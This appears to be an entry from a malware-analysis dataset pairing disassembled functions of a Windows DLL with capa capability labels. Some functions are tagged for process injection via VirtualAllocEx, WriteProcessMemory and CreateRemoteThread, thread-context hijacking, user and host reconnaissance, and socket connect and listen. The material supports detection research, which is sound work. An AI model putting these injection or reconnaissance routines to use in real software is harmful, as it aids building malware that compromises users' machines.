joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180012408
Capabilities:
Move file

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
mov rsi, rcx
mov ecx, 0x4000
mov edi, edx
call fcn.180015244
mov edx, 0x2000
mov rcx, rax
mov r14, rax
call fcn.180015328
mov edx, 0x2000
mov rcx, r14
mov rbp, rax
call fcn.180015328
lea rcx, [rsp + 0x20]
mov r8d, edi
mov rdx, rsi
mov rbx, rax
call fcn.1800152e0
lea rcx, [rsp + 0x20]
mov r8d, 0x2000
mov rdx, rbp
call fcn.180015388
lea rcx, [rsp + 0x20]
mov r8d, 0x2000
mov rdx, rbx
call fcn.180015388
mov rdx, rbx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
jne 0x1800124ab
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, reloc.WS2_32.dll_ntohl
mov edx, eax
call fcn.18000daec
mov rcx, r14
call fcn.1800152c0
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x180012548
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov edi, r8d
mov rbp, rdx
xor r8d, r8d
xor edx, edx
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov ebx, eax
test eax, eax
jne 0x18001257a
xor eax, eax
jmp 0x18001259c
inc eax
cmp eax, edi
jae 0x180012576
mov r8, rdi
xor edx, edx
mov rcx, rbp
call fcn.18001c370
mov r8d, ebx
mov rdx, rbp
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x1800125b4
Capabilities:
Get file attributes

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
shr eax, 4
and eax, 1
add rsp, 0x28
ret
Function at 0x180012820
Capabilities:
Create thread

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x50
mov rdi, r9
mov ebx, r8d
mov rsi, rdx
mov rbp, rcx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp eax, ebx
jne 0x180012894
mov edx, dword [rsp + 0x80]
mov rcx, rdi
call fcn.180013604
test rax, rax
je 0x180012936
and qword [rsp + 0x28], 0
movsxd r8, dword [rsp + 0x88]
mov r9, qword [rsp + 0x90]
and dword [rsp + 0x20], 0
add r8, rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x180012936
mov r9d, dword [rsp + 0x80]
mov r8, rdi
mov edx, ebx
mov rcx, rsi
call fcn.1800136cc
mov r14, rax
test rax, rax
je 0x180012936
mov rdi, qword [rsp + 0x90]
test rbp, rbp
je 0x1800128f2
movups xmm0, xmmword [rbp]
movsd xmm1, qword [rbp + 0x10]
movsxd rdx, dword [rsp + 0x88]
lea rcx, [rsp + 0x30]
mov r8, rdi
add rdx, rax
movaps xmmword [rsp + 0x30], xmm0
movsd qword [rsp + 0x40], xmm1
call fcn.180013b1c
test eax, eax
jne 0x180012936
movsxd rax, dword [rsp + 0x88]
mov r8, rdi
mov rcx, rsi
add r14, rax
mov rdx, r14
call fcn.180013ac0
test eax, eax
jne 0x180012936
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8, rdi
mov rdx, r14
mov rcx, rsi
mov ebp, eax
call fcn.180013a04
test eax, eax
jne 0x180012936
lea ecx, [rax + 0x20]
mov r8d, ebp
mov edx, ebx
call fcn.18000daf8
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x50
pop r14
ret
Function at 0x180012954
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x60
mov r8d, edx
mov rdx, rcx
lea rcx, [rax - 0x38]
call fcn.1800152e0
lea rcx, [rsp + 0x40]
call fcn.1800152f0
lea rcx, [rsp + 0x40]
mov esi, eax
call fcn.1800152b8
lea rcx, [rsp + 0x40]
mov r14, rax
call fcn.180015324
mov r15d, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp eax, esi
jne 0x1800129b9
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
jmp 0x180012ac5
mov r8d, esi
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
jne 0x1800129e9
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [rdi + 0x21]
mov edx, esi
mov r8d, eax
call fcn.18000daf8
jmp 0x180012ac5
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call fcn.180016d58
mov rcx, rdi
mov ebx, eax
call fcn.180016d58
cmp ebx, eax
je 0x180012a14
mov ecx, 0x3e
call fcn.18000dbb8
jmp 0x180012abc
mov r9d, 0x3000
mov r8, r15
xor edx, edx
mov rcx, rdi
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
test rax, rax
jne 0x180012a46
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, r15d
lea ecx, [rbx + 0x1f]
jmp 0x180012ab4
lea rax, [rsp + 0x90]
mov r9, r15
mov r8, r14
mov rdx, rbx
mov rcx, rdi
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x180012a7d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, reloc.WS2_32.dll_recv
mov edx, eax
call fcn.18000daec
jmp 0x180012abc
and qword [rsp + 0x30], 0
mov r9, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
and dword [rsp + 0x28], 0
xor r8d, r8d
xor edx, edx
mov rcx, rdi
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
jne 0x180012abc
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, esi
mov ecx, 0x20
mov r8d, eax
call fcn.18000daf8
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rdi
ret
Function at 0x180012eec
Capabilities:
Create pipe

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x28]
sub rsp, 0x110
mov rsi, r9
mov r14d, r8d
mov edi, edx
call fcn.180018e68
mov ebx, 0x68
lea rcx, [rbp - 0x60]
mov r8d, ebx
xor edx, edx
call fcn.18001c370
xor eax, eax
lea r8, [rsp + 0x68]
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x58]
xor r15d, r15d
mov r9d, 0x100000
mov dword [rbp - 0x60], ebx
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x70], r15
mov dword [rsp + 0x68], 0x18
mov dword [rsp + 0x78], 1
call qword [sym.imp.KERNEL32.dll_CreatePipe]
lea rcx, [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov rax, qword [rsp + 0x60]
mov ecx, dword [rbp + 0x78]
lea r8, [rsp + 0x40]
lea rdx, [rbp - 0x60]
mov qword [rbp - 8], rax
mov qword [rbp], rax
mov dword [rbp - 0x24], 0x101
mov word [rbp - 0x20], r15w
mov qword [rbp - 0x10], r15
call fcn.1800137f0
test eax, eax
je 0x180013075
mov r8d, dword [rsp + 0x50]
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x180012feb
call fcn.180018e84
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, dword [rsp + 0x50]
lea ecx, [rbx + 0x21]
mov r8d, eax
call fcn.18000daf8
jmp 0x18001307a
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r9d, dword [rbp + 0x60]
test r9d, r9d
je 0x180013011
mov r8, qword [rbp + 0x58]
mov edx, dword [rsp + 0x50]
mov rcx, rbx
call fcn.1800136cc
jmp 0x180013014
mov rax, r15
mov r8d, dword [rsp + 0x50]
mov qword [rsp + 0x30], rax
mov eax, dword [rbp + 0x50]
lea rcx, [rsp + 0x40]
mov r9, rsi
mov rdx, rbx
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], eax
call fcn.180013454
test edi, edi
je 0x18001304a
mov rcx, qword [rsp + 0x58]
mov edx, edi
call fcn.1800142f4
movups xmm0, xmmword [rsp + 0x40]
movsd xmm1, qword [rsp + 0x50]
mov r9, qword [rbp + 0x68]
mov r8, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x58]
lea rcx, [rbp - 0x80]
movaps xmmword [rbp - 0x80], xmm0
movsd qword [rbp - 0x70], xmm1
call fcn.180014368
call fcn.180018e84
lea r11, [rsp + 0x110]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x1800136cc
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x40
mov r14, rcx
xor ebx, ebx
mov edi, r9d
lea ecx, [rbx + 0x2d]
mov r12, r8
call fcn.1800180dc
lea ecx, [rbx + 0x2b]
mov ebp, eax
cmp edi, eax
cmova ebp, edi
mov r15d, ebp
call fcn.180018188
mov r9d, 0x3000
movzx eax, ax
mov r8d, ebp
xor edx, edx
mov rcx, r14
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
jne 0x180013744
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [rbx + 0x1f]
mov edx, ebp
mov r8d, eax
call fcn.18000daf8
xor eax, eax
jmp 0x1800137d7
test edi, edi
jle 0x180013785
movsxd rcx, ebx
mov eax, edi
sub eax, ebx
lea r8, [rcx + r12]
lea rdx, [rcx + rsi]
movsxd r9, eax
lea rax, [rsp + 0x88]
mov rcx, r14
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1800137bd
mov eax, dword [rsp + 0x88]
add ebx, eax
test eax, eax
je 0x18001373d
cmp ebx, edi
jl 0x180013748
mov ecx, 0x2c
call fcn.180018188
mov r8, r15
mov rdx, rsi
movzx r9d, ax
lea rax, [rsp + 0x30]
mov rcx, r14
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x1800137d4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, select
jmp 0x1800137c8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, reloc.WS2_32.dll_recv
mov edx, eax
call fcn.18000daec
jmp 0x18001373d
mov rax, rsi
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret

Function at 0x180013ac0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x40
mov rdi, rdx
mov edx, 1
mov rsi, rcx
lea ecx, [rdx + 0x2f]
mov rbx, r8
call fcn.180018130
test eax, eax
je 0x180013b0a
and qword [rsp + 0x30], 0
and dword [rsp + 0x28], 0
mov r9, rdi
xor r8d, r8d
xor edx, edx
mov rcx, rsi
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret

Function at 0x180013b8c
Capabilities:
Resume thread

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
sub rsp, 0x520
mov rax, qword [0x18003e060]
xor rax, rsp
mov qword [rsp + 0x510], rax
mov rax, qword [rcx]
mov rdi, qword [rcx + 8]
mov rsi, rdx
mov qword [rsp + 0x20], rax
mov rax, qword [rcx + 0x10]
lea rdx, [rsp + 0x40]
mov rcx, rdi
mov rbp, r8
mov dword [rsp + 0x70], 0x100002
mov qword [rsp + 0x30], rax
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
xor ebx, ebx
test eax, eax
jne 0x180013be8
xor eax, eax
jmp 0x180013c1b
lea rdx, [rsp + 0x40]
mov rcx, rdi
mov qword [rsp + 0xc0], rsi
mov qword [rsp + 0xc8], rbp
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x180013be4
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
setne bl
mov eax, ebx
mov rcx, qword [rsp + 0x510]
xor rcx, rsp
call fcn.18001be40
mov rbx, qword [rsp + 0x558]
add rsp, 0x520
pop rdi
pop rsi
pop rbp
ret
Function at 0x180013c40
Capabilities:
Resume thread

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x320
mov rax, qword [0x18003e060]
xor rax, rsp
mov qword [rsp + 0x310], rax
mov rax, qword [rcx]
mov rdi, qword [rcx + 8]
xor ebx, ebx
mov qword [rsp + 0x20], rax
mov rax, qword [rcx + 0x10]
mov rsi, rdx
mov qword [rsp + 0x30], rax
test r8, r8
je 0x180013c87
xor eax, eax
jmp 0x180013ccb
lea rdx, [rsp + 0x40]
mov rcx, rdi
mov dword [rsp + 0x40], 0x100002
call qword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
test eax, eax
je 0x180013c83
lea rdx, [rsp + 0x40]
mov rcx, rdi
mov dword [rsp + 0xf0], esi
call qword [sym.imp.KERNEL32.dll_Wow64SetThreadContext]
test eax, eax
je 0x180013c83
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
setne bl
mov eax, ebx
mov rcx, qword [rsp + 0x310]
xor rcx, rsp
call fcn.18001be40
lea r11, [rsp + 0x320]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret

Function at 0x1800145ec
Capabilities:
Read file on windows
Read pipe

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x40
and dword [rax + 0x20], 0
lea rax, [rax - 0x18]
mov edi, r8d
mov rbp, rdx
xor ebx, ebx
xor r9d, r9d
and qword [rax - 8], rbx
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rax
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
jne 0x180014633
or eax, 0xffffffff
jmp 0x180014695
cmp dword [rsp + 0x30], ebx
jbe 0x180014691
cmp ebx, edi
jae 0x180014691
and qword [rsp + 0x20], 0
mov r8d, edi
lea r9, [rsp + 0x68]
sub r8d, ebx
mov rdx, rbp
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [rsp + 0x68]
and qword [rsp + 0x28], 0
add ebx, dword [rsp + 0x68]
add rbp, rax
lea rax, [rsp + 0x30]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rsi
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
je 0x18001462e
cmp dword [rsp + 0x30], 0
ja 0x180014639
mov eax, dword [rsp + 0x68]
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
Function at 0x180014edc
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x40
and dword [rax + 0x20], 0
and dword [rax - 0x18], 0
xor ebx, ebx
and qword [rax - 0x28], rbx
mov edi, r8d
mov rbp, rdx
lea r8d, [rbx + 4]
lea r9, [rax + 0x20]
lea rdx, [rax - 0x18]
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x180014f69
cmp dword [rsp + 0x68], 4
jne 0x180014f69
mov eax, dword [rsp + 0x30]
cmp eax, edi
jg 0x180014f69
test eax, eax
jle 0x180014f65
and qword [rsp + 0x20], 0
sub eax, ebx
movsxd rdx, ebx
lea r9, [rsp + 0x68]
mov rcx, rsi
add rdx, rbp
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x180014f69
mov eax, dword [rsp + 0x68]
test eax, eax
je 0x180014f69
add ebx, eax
mov eax, dword [rsp + 0x30]
cmp ebx, eax
jl 0x180014f30
mov eax, ebx
jmp 0x180014f6c
or eax, 0xffffffff
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret

Function at 0x180015024
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov dword [rax + 0x18], r8d
push rsi
push rdi
push r14
sub rsp, 0x30
xor ebx, ebx
mov rsi, rdx
lea r9, [rax + 0x20]
and dword [rax + 0x20], ebx
and qword [rax - 0x28], rbx
lea rdx, [rax + 0x18]
lea r8d, [rbx + 4]
mov rdi, rcx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov r8d, eax
test eax, eax
jne 0x180015063
xor eax, eax
jmp 0x1800150b3
cmp dword [rsp + 0x68], 4
jne 0x1800150b3
mov eax, dword [rsp + 0x60]
test eax, eax
je 0x1800150b0
mov r14d, 0x2000
sub eax, ebx
mov edx, ebx
lea r9, [rsp + 0x68]
cmp eax, r14d
mov rcx, rdi
cmova eax, r14d
and qword [rsp + 0x20], 0
add rdx, rsi
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov r8d, eax
test eax, eax
je 0x18001505f
add ebx, dword [rsp + 0x68]
mov eax, dword [rsp + 0x60]
cmp ebx, eax
jb 0x180015078
mov eax, r8d
mov rbx, qword [rsp + 0x50]
add rsp, 0x30
pop r14
pop rdi
pop rsi
ret
Function at 0x1800150c4
Capabilities:
Get hostname
Get session user name

Disassembly:
mov qword [rsp + 0x10], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 8], ecx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x60
mov ecx, 0x294
mov r14, rdx
call fcn.180015244
mov edi, __WSAFDIsSet
mov rcx, rax
mov edx, edi
mov r12, rax
call fcn.180015328
lea ebx, [rdi + 0x6c]
mov rcx, r12
mov edx, ebx
mov rsi, rax
call fcn.180015328
mov edx, ebx
mov rcx, r12
mov r13, rax
call fcn.180015328
lea rdx, [rsp + 0xb8]
mov rcx, rax
mov r15, rax
mov dword [rsp + 0xb8], ebx
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
call fcn.180018cf4
test eax, eax
je 0x180015158
lea r8, [0x18002cc24]
mov r9d, 2
mov edx, ebx
mov rcx, r15
call fcn.18001d2c8
lea rdx, [rsp + 0xb8]
mov rcx, r13
mov dword [rsp + 0xb8], ebx
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov r8, rdi
xor edx, edx
mov rcx, rsi
call fcn.18001c370
mov rcx, rsi
mov dword [rsi], edi
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
call fcn.180011654
test eax, eax
jne 0x1800151a7
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call fcn.18001160c
test eax, eax
jne 0x1800151a7
xor ebp, ebp
jmp 0x1800151ac
mov ebp, 1
call fcn.180011654
mov ebx, eax
call fcn.18000e44c
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, dword [rsi + 8]
movsxd rdx, dword [rsp + 0xb0]
mov r9d, dword [rsp + 0xa0]
mov dword [rsp + 0x58], ebx
mov dword [rsp + 0x50], ebp
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x38], rdi
mov dword [rsp + 0x30], ecx
mov ecx, dword [rsi + 4]
mov dword [rsp + 0x28], ecx
lea r8, str._d_t_d_t_d._d_t_s_t_s_t_s_t_d_t_d
mov rcx, r14
mov dword [rsp + 0x20], eax
call fcn.18001b94c
or rbx, 0xffffffffffffffff
inc rbx
cmp byte [r14 + rbx], 0
jne 0x18001520d
mov eax, 0x59
mov rcx, r12
cmp ebx, eax
cmovg ebx, eax
call fcn.1800152c0
mov eax, ebx
mov rbx, qword [rsp + 0xa8]
add rsp, 0x60
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x180015588
Capabilities:
Connect socket
Resolve dns
Set socket configuration

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x350]
sub rsp, 0x450
mov rax, qword [0x18003e060]
xor rax, rsp
mov qword [rbp + 0x340], rax
mov rdi, rcx
mov ecx, dword [rcx]
mov r12d, 4
mov rsi, r8
mov ebx, edx
mov dword [rsp + 0x24], 1
mov dword [rsp + 0x20], ecx
add rdi, r12
call qword [sym.imp.WS2_32.dll_ntohl]
movzx ecx, word [rdi]
lea r13d, [r12 - 2]
sub ebx, 6
mov r14d, eax
add rdi, r13
call qword [sym.imp.WS2_32.dll_ntohs]
movzx r15d, ax
mov eax, 0x3ff
lea rcx, [rsp + 0x40]
cmp ebx, eax
mov rdx, rdi
cmovge ebx, eax
movsxd rbx, ebx
mov r8, rbx
call fcn.18001be70
cmp rbx, 0x400
jae 0x18001571f
mov byte [rsp + rbx + 0x40], 0
call fcn.18000e6ac
lea edx, [r12 - 3]
xor r8d, r8d
mov ecx, r13d
call qword [sym.imp.WS2_32.dll_socket]
or rdi, 0xffffffffffffffff
mov rbx, rax
cmp rax, rdi
jne 0x180015689
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
lea rcx, [rsp + 0x20]
mov r8d, r12d
mov edx, r12d
call rsi
mov rcx, qword [rbp + 0x340]
xor rcx, rsp
call fcn.18001be40
mov rbx, qword [rsp + 0x4a8]
add rsp, 0x450
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea rcx, [rsp + 0x40]
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
jne 0x18001569e
mov rcx, rbx
jmp 0x18001564c
mov rdx, qword [rax + 0x18]
movsx r8, word [rax + 0x12]
lea rcx, [rsp + 0x2c]
mov rdx, qword [rdx]
call fcn.18001be70
movzx ecx, r15w
mov word [rsp + 0x28], r13w
call qword [sym.imp.WS2_32.dll_htons]
lea r8, [rsp + 0x24]
mov edx, 0x8004667e
mov rcx, rbx
mov word [rsp + 0x2a], ax
call qword [sym.imp.WS2_32.dll_ioctlsocket]
mov rcx, rbx
cmp eax, edi
je 0x18001564c
lea rdx, [rsp + 0x28]
mov r8d, reloc.WS2_32.dll_recv
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, edi
jne 0x180015709
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x180015699
mov r8d, 0x7530
mov edx, r14d
mov rcx, rbx
call fcn.18001552c
jmp 0x18001565f
call fcn.18001c820
int3
Function at 0x1800158e0
Capabilities:
Set socket configuration

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x40
mov rax, qword [0x18003e060]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov ebx, 1
mov edi, edx
mov esi, ecx
mov dword [rsp + 0x20], ebx
call fcn.18000e6ac
lea r14d, [rbx + 1]
mov ecx, r14d
xor r8d, r8d
mov edx, ebx
call qword [sym.imp.WS2_32.dll_socket]
or rbp, 0xffffffffffffffff
mov rbx, rax
cmp rax, rbp
jne 0x180015936
mov rax, rbp
jmp 0x18001599d
movzx ecx, si
mov word [rsp + 0x28], r14w
call qword [sym.imp.WS2_32.dll_htons]
and dword [rsp + 0x2c], 0
lea r8, [rsp + 0x20]
mov edx, 0x8004667e
mov rcx, rbx
mov word [rsp + 0x2a], ax
call qword [sym.imp.WS2_32.dll_ioctlsocket]
mov rcx, rbx
cmp eax, ebp
jne 0x180015971
call qword [sym.imp.WS2_32.dll_closesocket]
jmp 0x180015931
lea rdx, [rsp + 0x28]
mov r8d, reloc.WS2_32.dll_recv
call qword [sym.imp.WS2_32.dll_bind]
mov rcx, rbx
cmp eax, ebp
je 0x180015969
mov edx, edi
call qword [sym.imp.WS2_32.dll_listen]
cmp eax, ebp
jne 0x18001599a
mov rcx, rbx
jmp 0x180015969
mov rax, rbx
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.18001be40
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r14
pop rdi
pop rsi
ret

Function at 0x1800159dc
Capabilities:
Check for time delay via gettickcount

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call fcn.180015a04
mov rcx, rbx
call fcn.180015c80
test eax, eax
jg 0x1800159ea
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp 0x180015d8c
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, qword [0x18003fd20]
xor edi, edi
test rbx, rbx
je 0x180015e2a
mov eax, dword [rbx + 4]
test eax, eax
jne 0x180015dbd
cmp dword [rbx + 0xc], eax
jne 0x180015dc6
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [rbx + 0xc], eax
mov rdi, rbx
mov rbx, qword [rbx + 0x28]
jmp 0x180015d9f
test eax, eax
jne 0x180015dbd
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [rbx + 0xc]
cmp eax, 0x3e8
jbe 0x180015dbd
cmp dword [rbx + 0x10], 0
jne 0x180015def
mov rcx, qword [rbx + 0x20]
mov edx, 2
call qword [sym.imp.WS2_32.dll_shutdown]
mov rcx, qword [rbx + 0x20]
call qword [sym.imp.WS2_32.dll_closesocket]
test eax, eax
je 0x180015e03
cmp dword [rbx + 0x10], 2
je 0x180015dbd
mov rax, qword [rbx + 0x28]
mov rcx, rbx
test rdi, rdi
je 0x180015e1e
mov qword [rdi + 0x28], rax
call fcn.18001bcb0
mov rbx, qword [rdi + 0x28]
jmp 0x180015d9f
mov qword [0x18003fd20], rax
call fcn.18001bcb0
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret